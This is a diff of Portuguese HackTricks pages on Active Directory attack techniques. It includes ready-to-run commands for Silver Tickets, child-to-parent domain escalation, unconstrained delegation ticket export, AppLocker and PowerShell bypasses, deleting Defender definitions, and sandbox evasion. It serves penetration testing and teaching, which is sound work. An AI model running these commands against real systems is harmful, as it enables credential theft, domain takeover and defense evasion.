 schtasks /Run /S mcorp-dc.moneycorp.local /TN "STCheck114"
 ```
-Com as permissões adquiridas pelo ataque, você pode executar, por exemplo, um ataque DCSync no novo domínio:
+Com as permissões adquiridas do ataque, você pode executar, por exemplo, um ataque DCSync no novo domínio:
 
 {{#ref}}
 dcsync.md
@@ -101,19 +120,19 @@ psexec.py <child_domain>/Administrator@dc.root.local -k -no-pass -target-ip 10.1
 ```
 #### Automático usando [raiseChild.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/raiseChild.py)
 
-Este é um script do Impacket que **automatiza a elevação do domínio filho para o domínio pai**. O script precisa de:
+Este é um script do Impacket que **automatiza a elevação de child para parent domain**. O script precisa de:
 
 - Controlador de domínio de destino
-- Credenciais de um usuário administrador no domínio filho
+- Credenciais para um usuário administrador no child domain
 
 O fluxo é:
 
-- Obtém o SID do grupo Enterprise Admins do domínio pai
-- Recupera o hash da conta KRBTGT no domínio filho
+- Obtém o SID para o grupo Enterprise Admins do parent domain
+- Recupera o hash da conta KRBTGT no child domain
 - Cria um Golden Ticket
-- Faz login no domínio pai
-- Recupera credenciais para a conta Administrator no domínio pai
-- Se o switch `target-exec` for especificado, autentica-se no Controlador de Domínio do domínio pai via Psexec.
+- Faz login no parent domain
+- Recupera credenciais para a conta Administrator no parent domain
+- Se o switch `target-exec` for especificado, autentica-se no Domain Controller do parent domain via Psexec.
 ```bash
 raiseChild.py -target-exec 10.10.10.10 <child_domain>/username
 ```

src/windows-hardening/active-directory-methodology/silver-ticket.md

@@ -2,11 +2,13 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-
-
 ## Silver ticket
 
-O ataque **Silver Ticket** envolve a exploração de tickets de serviço em ambientes Active Directory (AD). Este método depende de **adquirir o hash NTLM de uma conta de serviço**, como uma conta de computador, para forjar um ticket de Serviço de Concessão de Ticket (TGS). Com este ticket forjado, um atacante pode acessar serviços específicos na rede, **impersonando qualquer usuário**, geralmente visando privilégios administrativos. É enfatizado que usar chaves AES para forjar tickets é mais seguro e menos detectável.
+O ataque **Silver Ticket** envolve a exploração de tickets de serviço em ambientes do Active Directory (AD). Este método depende de **adquirir o hash NTLM de uma conta de serviço**, como uma conta de computador, para forjar um ticket de Serviço de Concessão de Ticket (TGS). Com este ticket forjado, um atacante pode acessar serviços específicos na rede, **impersonando qualquer usuário**, geralmente visando privilégios administrativos. É enfatizado que usar chaves AES para forjar tickets é mais seguro e menos detectável.
+
+> [!WARNING]
+> Silver Tickets são menos detectáveis do que Golden Tickets porque exigem apenas o **hash da conta de serviço**, não a conta krbtgt. No entanto, eles são limitados ao serviço específico que visam. Além disso, apenas roubar a senha de um usuário.
+Além disso, se você comprometer a **senha de uma conta com um SPN**, pode usar essa senha para criar um Silver Ticket impersonando qualquer usuário para esse serviço.
 
 Para a criação de tickets, diferentes ferramentas são empregadas com base no sistema operacional:
 
@@ -18,6 +20,11 @@ python psexec.py <DOMAIN>/<USER>@<TARGET> -k -no-pass
 ```
 ### No Windows
 ```bash
+# Using Rubeus
+## /ldap option is used to get domain data automatically
+## With /ptt we already load the tickt in memory
+rubeus.exe asktgs /user:<USER> [/rc4:<HASH> /aes128:<HASH> /aes256:<HASH>] /domain:<DOMAIN> /ldap /service:cifs/domain.local /ptt /nowrap /printcmd
+
 # Create the ticket
 mimikatz.exe "kerberos::golden /domain:<DOMAIN> /sid:<DOMAIN_SID> /rc4:<HASH> /user:<USER> /service:<SERVICE> /target:<TARGET>"
 
@@ -40,7 +47,7 @@ O serviço CIFS é destacado como um alvo comum para acessar o sistema de arquiv
 | Tarefas Agendadas                         | HOST                                                                       |
 | Compartilhamento de Arquivos do Windows, também psexec | CIFS                                                                       |
 | Operações LDAP, incluindo DCSync          | LDAP                                                                       |
-| Ferramentas de Administração de Servidor Remoto do Windows | <p>RPCSS</p><p>LDAP</p><p>CIFS</p>                                         |
+| Ferramentas de Administração de Servidores Remotos do Windows | <p>RPCSS</p><p>LDAP</p><p>CIFS</p>                                         |
 | Golden Tickets                             | krbtgt                                                                     |
 
 Usando **Rubeus** você pode **pedir todos** esses tickets usando o parâmetro:
@@ -53,13 +60,17 @@ Usando **Rubeus** você pode **pedir todos** esses tickets usando o parâmetro:
 - 4634: Logoff de Conta
 - 4672: Logon de Admin
 
+## Persistência
+
+Para evitar que as máquinas rotacionem suas senhas a cada 30 dias, defina `HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1` ou você pode definir `HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters\MaximumPasswordAge` para um valor maior que 30 dias para indicar o período de rotação quando a senha da máquina deve ser rotacionada.
+
 ## Abusando de Tickets de Serviço
 
 Nos exemplos a seguir, vamos imaginar que o ticket é recuperado impersonando a conta de administrador.
 
 ### CIFS
 
-Com este ticket você poderá acessar a pasta `C$` e `ADMIN$` via **SMB** (se estiverem expostas) e copiar arquivos para uma parte do sistema de arquivos remoto apenas fazendo algo como:
+Com este ticket, você poderá acessar a pasta `C$` e `ADMIN$` via **SMB** (se estiverem expostas) e copiar arquivos para uma parte do sistema de arquivos remoto apenas fazendo algo como:
 ```bash
 dir \\vulnerable.computer\C$
 dir \\vulnerable.computer\ADMIN$
@@ -126,15 +137,17 @@ mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.loc
 ```
 **Saiba mais sobre DCSync** na página a seguir:
 
-## Referências
-
-- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets)
-- [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/)
-
 {{#ref}}
 dcsync.md
 {{#endref}}
 
 
+## Referências
+
+- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets)
+- [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/)
+- [https://techcommunity.microsoft.com/blog/askds/machine-account-password-process/396027](https://techcommunity.microsoft.com/blog/askds/machine-account-password-process/396027)
+
+
 
 {{#include ../../banners/hacktricks-training.md}}

src/windows-hardening/active-directory-methodology/unconstrained-delegation.md

@@ -1,45 +1,52 @@
-# Delegação Não Restrita
+# Unconstrained Delegation
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Delegação não restrita
+## Unconstrained delegation
 
 Esta é uma funcionalidade que um Administrador de Domínio pode definir para qualquer **Computador** dentro do domínio. Assim, sempre que um **usuário fizer login** no Computador, uma **cópia do TGT** desse usuário será **enviada dentro do TGS** fornecido pelo DC **e salva na memória no LSASS**. Portanto, se você tiver privilégios de Administrador na máquina, poderá **extrair os tickets e se passar pelos usuários** em qualquer máquina.
 
-Assim, se um administrador de domínio fizer login em um Computador com a funcionalidade "Delegação Não Restrita" ativada, e você tiver privilégios de administrador local nessa máquina, poderá extrair o ticket e se passar pelo Administrador de Domínio em qualquer lugar (privesc de domínio).
+Assim, se um administrador de domínio fizer login em um Computador com a funcionalidade "Unconstrained Delegation" ativada, e você tiver privilégios de administrador local nessa máquina, poderá extrair o ticket e se passar pelo Administrador de Domínio em qualquer lugar (privesc de domínio).
 
 Você pode **encontrar objetos de Computador com esse atributo** verificando se o atributo [userAccountControl](<https://msdn.microsoft.com/en-us/library/ms680832(v=vs.85).aspx>) contém [ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>). Você pode fazer isso com um filtro LDAP de ‘(userAccountControl:1.2.840.113556.1.4.803:=524288)’, que é o que o powerview faz:
-
-<pre class="language-bash"><code class="lang-bash"># Listar computadores não restritos
+```bash
+# List unconstrained computers
 ## Powerview
-Get-NetComputer -Unconstrained #DCs sempre aparecem, mas não são úteis para privesc
-<strong>## ADSearch
-</strong>ADSearch.exe --search "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" --attributes samaccountname,dnshostname,operatingsystem
-<strong># Exportar tickets com Mimikatz
-</strong>privilege::debug
-sekurlsa::tickets /export #Forma recomendada
-kerberos::list /export #Outra forma
+## A DCs always appear and might be useful to attack a DC from another compromised DC from a different domain (coercing the other DC to authenticate to it)
+Get-DomainComputer –Unconstrained –Properties name
+Get-DomainUser -LdapFilter '(userAccountControl:1.2.840.113556.1.4.803:=524288)'
 
-# Monitorar logins e exportar novos tickets
-.\Rubeus.exe monitor /targetuser:<username> /interval:10 #Verifique a cada 10s por novos TGTs</code></pre>
+## ADSearch
+ADSearch.exe --search "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" --attributes samaccountname,dnshostname,operatingsystem
 
-Carregue o ticket de Administrador (ou usuário vítima) na memória com **Mimikatz** ou **Rubeus para um** [**Pass the Ticket**](pass-the-ticket.md)**.**\
+# Export tickets with Mimikatz
+## Access LSASS memory
+privilege::debug
+sekurlsa::tickets /export #Recommended way
+kerberos::list /export #Another way
+
+# Monitor logins and export new tickets
+## Doens't access LSASS memory directly, but uses Windows APIs
+Rubeus.exe dump
+Rubeus.exe monitor /interval:10 [/filteruser:<username>] #Check every 10s for new TGTs
+```
+Carregue o ticket do Administrador (ou usuário vítima) na memória com **Mimikatz** ou **Rubeus para um** [**Pass the Ticket**](pass-the-ticket.md)**.**\
 Mais informações: [https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/](https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/)\
-[**Mais informações sobre Delegação Não Restrita em ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-unrestricted-kerberos-delegation)
+[**Mais informações sobre delegação não restrita em ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-unrestricted-kerberos-delegation)
 
 ### **Forçar Autenticação**
 
 Se um atacante conseguir **comprometer um computador permitido para "Delegação Não Restrita"**, ele poderia **enganar** um **servidor de impressão** para **fazer login automaticamente** contra ele **salvando um TGT** na memória do servidor.\
 Então, o atacante poderia realizar um **ataque Pass the Ticket para se passar** pela conta de computador do usuário do servidor de impressão.
 
-Para fazer um servidor de impressão fazer login em qualquer máquina, você pode usar [**SpoolSample**](https://github.com/leechristensen/SpoolSample):
+Para fazer um servidor de impressão fazer login contra qualquer máquina, você pode usar [**SpoolSample**](https://github.com/leechristensen/SpoolSample):
 ```bash
 .\SpoolSample.exe <printmachine> <unconstrinedmachine>
 ```
 Se o TGT for de um controlador de domínio, você pode realizar um [**ataque DCSync**](acl-persistence-abuse/index.html#dcsync) e obter todos os hashes do DC.\
 [**Mais informações sobre este ataque em ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-dc-print-server-and-kerberos-delegation)
 
-**Aqui estão outras maneiras de tentar forçar uma autenticação:**
+Encontre aqui outras maneiras de **forçar uma autenticação:**
 
 {{#ref}}
 printers-spooler-service-abuse.md

src/windows-hardening/authentication-credentials-uac-and-efs.md

@@ -12,7 +12,7 @@ Uma lista de permissões de aplicativos é uma lista de aplicativos de software
 ### Verificação
 
 Verifique quais arquivos/extensões estão na lista negra/lista branca:
-```powershell
+```bash
 Get-ApplockerPolicy -Effective -xml
 
 Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
@@ -130,7 +130,7 @@ Você também pode usar `cipher /e` e `cipher /d` dentro de uma pasta para **cri
 
 #### Sendo Autoridade do Sistema
 
-Esse método requer que o **usuário vítima** esteja **executando** um **processo** dentro do host. Se esse for o caso, usando uma sessão `meterpreter`, você pode impersonar o token do processo do usuário (`impersonate_token` do `incognito`). Ou você poderia apenas `migrate` para o processo do usuário.
+Esse método requer que o **usuário vítima** esteja **executando** um **processo** dentro do host. Se esse for o caso, usando sessões `meterpreter`, você pode impersonar o token do processo do usuário (`impersonate_token` do `incognito`). Ou você poderia apenas `migrate` para o processo do usuário.
 
 #### Conhecendo a senha do usuário
 
@@ -140,15 +140,15 @@ https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files
 
 ## Group Managed Service Accounts (gMSA)
 
-A Microsoft desenvolveu **Group Managed Service Accounts (gMSA)** para simplificar a gestão de contas de serviço em infraestruturas de TI. Ao contrário das contas de serviço tradicionais que frequentemente têm a configuração "**Senha nunca expira**" habilitada, os gMSAs oferecem uma solução mais segura e gerenciável:
+A Microsoft desenvolveu **Group Managed Service Accounts (gMSA)** para simplificar a gestão de contas de serviço em infraestruturas de TI. Ao contrário das contas de serviço tradicionais que frequentemente têm a configuração "**Senha nunca expira**" ativada, os gMSAs oferecem uma solução mais segura e gerenciável:
 
 - **Gerenciamento Automático de Senhas**: gMSAs usam uma senha complexa de 240 caracteres que muda automaticamente de acordo com a política de domínio ou computador. Este processo é gerenciado pelo Serviço de Distribuição de Chaves (KDC) da Microsoft, eliminando a necessidade de atualizações manuais de senha.
 - **Segurança Aprimorada**: Essas contas são imunes a bloqueios e não podem ser usadas para logins interativos, aumentando sua segurança.
 - **Suporte a Múltiplos Hosts**: gMSAs podem ser compartilhados entre vários hosts, tornando-os ideais para serviços que rodam em múltiplos servidores.
 - **Capacidade de Tarefas Agendadas**: Ao contrário das contas de serviço gerenciadas, gMSAs suportam a execução de tarefas agendadas.
-- **Gerenciamento Simplificado de SPN**: O sistema atualiza automaticamente o Nome Principal do Serviço (SPN) quando há alterações nos detalhes do sAMaccount do computador ou no nome DNS, simplificando o gerenciamento de SPN.
+- **Gerenciamento Simplificado de SPN**: O sistema atualiza automaticamente o Nome Principal de Serviço (SPN) quando há alterações nos detalhes do sAMaccount do computador ou no nome DNS, simplificando o gerenciamento de SPN.
 
-As senhas para gMSAs são armazenadas na propriedade LDAP _**msDS-ManagedPassword**_ e são redefinidas automaticamente a cada 30 dias pelos Controladores de Domínio (DCs). Esta senha, um blob de dados criptografados conhecido como [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e), só pode ser recuperada por administradores autorizados e pelos servidores nos quais os gMSAs estão instalados, garantindo um ambiente seguro. Para acessar essas informações, é necessária uma conexão segura, como LDAPS, ou a conexão deve ser autenticada com 'Sealing & Secure'.
+As senhas para gMSAs são armazenadas na propriedade LDAP _**msDS-ManagedPassword**_ e são redefinidas automaticamente a cada 30 dias pelos Controladores de Domínio (DCs). Esta senha, um blob de dados criptografado conhecido como [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e), só pode ser recuperada por administradores autorizados e pelos servidores nos quais os gMSAs estão instalados, garantindo um ambiente seguro. Para acessar essas informações, é necessária uma conexão segura, como LDAPS, ou a conexão deve ser autenticada com 'Sealing & Secure'.
 
 ![https://cube0x0.github.io/Relaying-for-gMSA/](../images/asd1.png)
 
@@ -162,23 +162,23 @@ Além disso, verifique esta [página da web](https://cube0x0.github.io/Relaying-
 
 ## LAPS
 
-A **Solução de Senha do Administrador Local (LAPS)**, disponível para download no [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), permite a gestão de senhas de Administrador local. Essas senhas, que são **aleatórias**, únicas e **regularmente alteradas**, são armazenadas centralmente no Active Directory. O acesso a essas senhas é restrito por meio de ACLs a usuários autorizados. Com permissões suficientes concedidas, a capacidade de ler senhas de administrador local é fornecida.
+A **Solução de Senha do Administrador Local (LAPS)**, disponível para download no [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), permite a gestão de senhas de Administrador local. Essas senhas, que são **aleatórias**, únicas e **regularmente alteradas**, são armazenadas centralmente no Active Directory. O acesso a essas senhas é restrito através de ACLs a usuários autorizados. Com permissões suficientes concedidas, a capacidade de ler senhas de administrador local é fornecida.
 
 {{#ref}}
 active-directory-methodology/laps.md
 {{#endref}}
 
-## Modo de Linguagem Constrangida do PowerShell
+## Modo de Linguagem Constrangida do PS
 
-O PowerShell [**Modo de Linguagem Constrangida**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **limita muitas das funcionalidades** necessárias para usar o PowerShell de forma eficaz, como bloquear objetos COM, permitindo apenas tipos .NET aprovados, fluxos de trabalho baseados em XAML, classes do PowerShell e mais.
+O PowerShell [**Modo de Linguagem Constrangida**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **bloqueia muitas das funcionalidades** necessárias para usar o PowerShell de forma eficaz, como bloquear objetos COM, permitindo apenas tipos .NET aprovados, fluxos de trabalho baseados em XAML, classes do PowerShell e mais.
 
 ### **Verifique**
-```powershell
+```bash
 $ExecutionContext.SessionState.LanguageMode
 #Values could be: FullLanguage or ConstrainedLanguage
 ```
 ### Bypass
-```powershell
+```bash
 #Easy bypass
 Powershell -version 2
 ```
@@ -197,8 +197,8 @@ Você pode usar [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTo
 
 ## Política de Execução do PS
 
-Por padrão, está configurada como **restrita.** Principais maneiras de contornar essa política:
-```powershell
+Por padrão, está definida como **restrita.** Principais maneiras de contornar essa política:
+```bash
 1º Just copy and paste inside the interactive PS console
 2º Read en Exec
 Get-Content .runme.ps1 | PowerShell.exe -noprofile -
@@ -235,7 +235,7 @@ O SSPI será responsável por encontrar o protocolo adequado para duas máquinas
 - %windir%\Windows\System32\Wdigest.dll
 - **Schannel**: SSL e TLS
 - %windir%\Windows\System32\Schannel.dll
-- **Negotiate**: É usado para negociar o protocolo a ser usado (Kerberos ou NTLM, sendo Kerberos o padrão)
+- **Negotiate**: É usado para negociar o protocolo a ser utilizado (Kerberos ou NTLM, sendo Kerberos o padrão)
 - %windir%\Windows\System32\lsasrv.dll
 
 #### A negociação pode oferecer vários métodos ou apenas um.

src/windows-hardening/authentication-credentials-uac-and-efs/README.md

@@ -12,7 +12,7 @@ Uma lista de permissões de aplicativos é uma lista de aplicativos de software
 ### Verificação
 
 Verifique quais arquivos/extensões estão na lista negra/lista branca:
-```powershell
+```bash
 Get-ApplockerPolicy -Effective -xml
 
 Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
@@ -37,7 +37,7 @@ C:\windows\tracing
 - **Regras mal escritas também podem ser contornadas**
 - Por exemplo, **`<FilePathCondition Path="%OSDRIVE%*\allowed*"/>`**, você pode criar uma **pasta chamada `allowed`** em qualquer lugar e ela será permitida.
 - As organizações também costumam se concentrar em **bloquear o executável `%System32%\WindowsPowerShell\v1.0\powershell.exe`**, mas esquecem das **outras** [**localizações de executáveis do PowerShell**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations) como `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` ou `PowerShell_ISE.exe`.
-- **A aplicação de DLL raramente é habilitada** devido à carga adicional que pode colocar em um sistema e à quantidade de testes necessários para garantir que nada quebre. Portanto, usar **DLLs como backdoors ajudará a contornar o AppLocker**.
+- **A imposição de DLL raramente é ativada** devido à carga adicional que pode colocar em um sistema e à quantidade de testes necessários para garantir que nada quebre. Portanto, usar **DLLs como backdoors ajudará a contornar o AppLocker**.
 - Você pode usar [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) ou [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) para **executar código Powershell** em qualquer processo e contornar o AppLocker. Para mais informações, consulte: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode).
 
 ## Armazenamento de Credenciais
@@ -101,9 +101,9 @@ sc query windefend
 #Delete all rules of Defender (useful for machines without internet access)
 "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
 ```
-## Sistema de Arquivos Criptografado (EFS)
+## Encrypted File System (EFS)
 
-EFS protege arquivos por meio de criptografia, utilizando uma **chave simétrica** conhecida como **Chave de Criptografia de Arquivo (FEK)**. Esta chave é criptografada com a **chave pública** do usuário e armazenada dentro do **fluxo de dados alternativo** $EFS do arquivo criptografado. Quando a descriptografia é necessária, a correspondente **chave privada** do certificado digital do usuário é usada para descriptografar a FEK do fluxo $EFS. Mais detalhes podem ser encontrados [aqui](https://en.wikipedia.org/wiki/Encrypting_File_System).
+EFS protege arquivos por meio de criptografia, utilizando uma **chave simétrica** conhecida como **File Encryption Key (FEK)**. Esta chave é criptografada com a **chave pública** do usuário e armazenada dentro do **fluxo de dados alternativo** $EFS do arquivo criptografado. Quando a descriptografia é necessária, a correspondente **chave privada** do certificado digital do usuário é usada para descriptografar o FEK do fluxo $EFS. Mais detalhes podem ser encontrados [aqui](https://en.wikipedia.org/wiki/Encrypting_File_System).
 
 **Cenários de descriptografia sem a iniciação do usuário** incluem:
 
@@ -114,8 +114,8 @@ Este método de criptografia permite **acesso transparente** a arquivos criptogr
 
 **Principais Conclusões**:
 
-- EFS usa uma FEK simétrica, criptografada com a chave pública do usuário.
-- A descriptografia utiliza a chave privada do usuário para acessar a FEK.
+- EFS usa um FEK simétrico, criptografado com a chave pública do usuário.
+- A descriptografia utiliza a chave privada do usuário para acessar o FEK.
 - A descriptografia automática ocorre sob condições específicas, como copiar para FAT32 ou transmissão pela rede.
 - Arquivos criptografados são acessíveis ao proprietário sem etapas adicionais.
 
@@ -130,7 +130,7 @@ Você também pode usar `cipher /e` e `cipher /d` dentro de uma pasta para **cri
 
 #### Sendo Autoridade do Sistema
 
-Esse método requer que o **usuário vítima** esteja **executando** um **processo** dentro do host. Se esse for o caso, usando sessões `meterpreter`, você pode personificar o token do processo do usuário (`impersonate_token` do `incognito`). Ou você poderia apenas `migrate` para o processo do usuário.
+Esse método requer que o **usuário vítima** esteja **executando** um **processo** dentro do host. Se esse for o caso, usando uma sessão `meterpreter`, você pode impersonar o token do processo do usuário (`impersonate_token` do `incognito`). Ou você poderia apenas `migrate` para o processo do usuário.
 
 #### Conhecendo a senha do usuário
 
@@ -138,17 +138,17 @@ Esse método requer que o **usuário vítima** esteja **executando** um **proces
 https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files
 {{#endref}}
 
-## Contas de Serviço Gerenciadas em Grupo (gMSA)
+## Group Managed Service Accounts (gMSA)
 
-A Microsoft desenvolveu **Contas de Serviço Gerenciadas em Grupo (gMSA)** para simplificar a gestão de contas de serviço em infraestruturas de TI. Ao contrário das contas de serviço tradicionais que frequentemente têm a configuração "**Senha nunca expira**" ativada, as gMSAs oferecem uma solução mais segura e gerenciável:
+A Microsoft desenvolveu **Group Managed Service Accounts (gMSA)** para simplificar a gestão de contas de serviço em infraestruturas de TI. Ao contrário das contas de serviço tradicionais que frequentemente têm a configuração "**Senha nunca expira**" ativada, os gMSAs oferecem uma solução mais segura e gerenciável:
 
 - **Gerenciamento Automático de Senhas**: gMSAs usam uma senha complexa de 240 caracteres que muda automaticamente de acordo com a política de domínio ou computador. Este processo é gerenciado pelo Serviço de Distribuição de Chaves (KDC) da Microsoft, eliminando a necessidade de atualizações manuais de senha.
 - **Segurança Aprimorada**: Essas contas são imunes a bloqueios e não podem ser usadas para logins interativos, aumentando sua segurança.
-- **Suporte a Múltiplos Hosts**: gMSAs podem ser compartilhadas entre vários hosts, tornando-as ideais para serviços que rodam em vários servidores.
+- **Suporte a Múltiplos Hosts**: gMSAs podem ser compartilhados entre vários hosts, tornando-os ideais para serviços que rodam em vários servidores.
 - **Capacidade de Tarefas Agendadas**: Ao contrário das contas de serviço gerenciadas, gMSAs suportam a execução de tarefas agendadas.
 - **Gerenciamento Simplificado de SPN**: O sistema atualiza automaticamente o Nome Principal de Serviço (SPN) quando há alterações nos detalhes do sAMaccount do computador ou no nome DNS, simplificando o gerenciamento de SPN.
 
-As senhas para gMSAs são armazenadas na propriedade LDAP _**msDS-ManagedPassword**_ e são redefinidas automaticamente a cada 30 dias pelos Controladores de Domínio (DCs). Esta senha, um blob de dados criptografados conhecido como [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e), só pode ser recuperada por administradores autorizados e pelos servidores nos quais as gMSAs estão instaladas, garantindo um ambiente seguro. Para acessar essas informações, é necessária uma conexão segura, como LDAPS, ou a conexão deve ser autenticada com 'Sealing & Secure'.
+As senhas para gMSAs são armazenadas na propriedade LDAP _**msDS-ManagedPassword**_ e são redefinidas automaticamente a cada 30 dias pelos Controladores de Domínio (DCs). Esta senha, um blob de dados criptografados conhecido como [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e), só pode ser recuperada por administradores autorizados e pelos servidores nos quais os gMSAs estão instalados, garantindo um ambiente seguro. Para acessar essas informações, é necessária uma conexão segura, como LDAPS, ou a conexão deve ser autenticada com 'Sealing & Secure'.
 
 ![https://cube0x0.github.io/Relaying-for-gMSA/](../../images/asd1.png)
 
@@ -162,7 +162,7 @@ Além disso, verifique esta [página da web](https://cube0x0.github.io/Relaying-
 
 ## LAPS
 
-A **Solução de Senha do Administrador Local (LAPS)**, disponível para download no [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), permite a gestão de senhas de Administrador local. Essas senhas, que são **aleatórias**, únicas e **regularmente alteradas**, são armazenadas centralmente no Active Directory. O acesso a essas senhas é restrito por meio de ACLs a usuários autorizados. Com permissões suficientes concedidas, a capacidade de ler senhas de administrador local é fornecida.
+A **Solução de Senha do Administrador Local (LAPS)**, disponível para download na [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), permite a gestão de senhas de Administrador local. Essas senhas, que são **aleatórias**, únicas e **regularmente alteradas**, são armazenadas centralmente no Active Directory. O acesso a essas senhas é restrito através de ACLs a usuários autorizados. Com permissões suficientes concedidas, a capacidade de ler senhas de administrador local é fornecida.
 
 {{#ref}}
 ../active-directory-methodology/laps.md
@@ -170,15 +170,15 @@ A **Solução de Senha do Administrador Local (LAPS)**, disponível para downloa
 
 ## Modo de Linguagem Constrangida do PowerShell
 
-O [**Modo de Linguagem Constrangida do PowerShell**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **limita muitas das funcionalidades** necessárias para usar o PowerShell de forma eficaz, como bloquear objetos COM, permitindo apenas tipos .NET aprovados, fluxos de trabalho baseados em XAML, classes do PowerShell e mais.
+O [**Modo de Linguagem Constrangida**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) do PowerShell **limita muitas das funcionalidades** necessárias para usar o PowerShell de forma eficaz, como bloquear objetos COM, permitindo apenas tipos .NET aprovados, fluxos de trabalho baseados em XAML, classes do PowerShell e mais.
 
 ### **Verifique**
-```powershell
+```bash
 $ExecutionContext.SessionState.LanguageMode
 #Values could be: FullLanguage or ConstrainedLanguage
 ```
 ### Bypass
-```powershell
+```bash
 #Easy bypass
 Powershell -version 2
 ```
@@ -197,8 +197,8 @@ Você pode usar [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTo
 
 ## Política de Execução do PS
 
-Por padrão, está configurada como **restrita.** Principais maneiras de contornar essa política:
-```powershell
+Por padrão, está definida como **restrita.** Principais maneiras de contornar essa política:
+```bash
 1º Just copy and paste inside the interactive PS console
 2º Read en Exec
 Get-Content .runme.ps1 | PowerShell.exe -noprofile -

src/windows-hardening/av-bypass.md

@@ -18,14 +18,14 @@ Se você criptografar o binário, não haverá como o AV detectar seu programa,
 
 - **Ofuscação**
 
-Às vezes, tudo o que você precisa fazer é mudar algumas strings no seu binário ou script para passar pelo AV, mas isso pode ser uma tarefa demorada, dependendo do que você está tentando ofuscar.
+Às vezes, tudo o que você precisa fazer é mudar algumas strings no seu binário ou script para passar pelo AV, mas isso pode ser uma tarefa que consome tempo, dependendo do que você está tentando ofuscar.
 
 - **Ferramentas personalizadas**
 
 Se você desenvolver suas próprias ferramentas, não haverá assinaturas ruins conhecidas, mas isso leva muito tempo e esforço.
 
 > [!NOTE]
-> Uma boa maneira de verificar a detecção estática do Windows Defender é o [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). Ele basicamente divide o arquivo em vários segmentos e, em seguida, solicita ao Defender que escaneie cada um individualmente, dessa forma, ele pode lhe dizer exatamente quais são as strings ou bytes sinalizados em seu binário.
+> Uma boa maneira de verificar a detecção estática do Windows Defender é o [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). Ele basicamente divide o arquivo em vários segmentos e, em seguida, pede ao Defender para escanear cada um individualmente, dessa forma, ele pode te dizer exatamente quais são as strings ou bytes sinalizados no seu binário.
 
 Recomendo fortemente que você confira esta [playlist do YouTube](https://www.youtube.com/playlist?list=PLj05gPj8rk_pkb12mDe4PgYZ5qPxhGKGf) sobre Evasão prática de AV.
 
@@ -37,22 +37,22 @@ A análise dinâmica é quando o AV executa seu binário em um sandbox e observa
 - **Verificando os recursos da máquina** Normalmente, os Sandboxes têm muito poucos recursos para trabalhar (por exemplo, < 2GB de RAM), caso contrário, poderiam desacelerar a máquina do usuário. Você também pode ser muito criativo aqui, por exemplo, verificando a temperatura da CPU ou até mesmo as velocidades do ventilador, nem tudo será implementado no sandbox.
 - **Verificações específicas da máquina** Se você quiser direcionar um usuário cuja estação de trabalho está unida ao domínio "contoso.local", você pode fazer uma verificação no domínio do computador para ver se corresponde ao que você especificou, se não corresponder, você pode fazer seu programa sair.
 
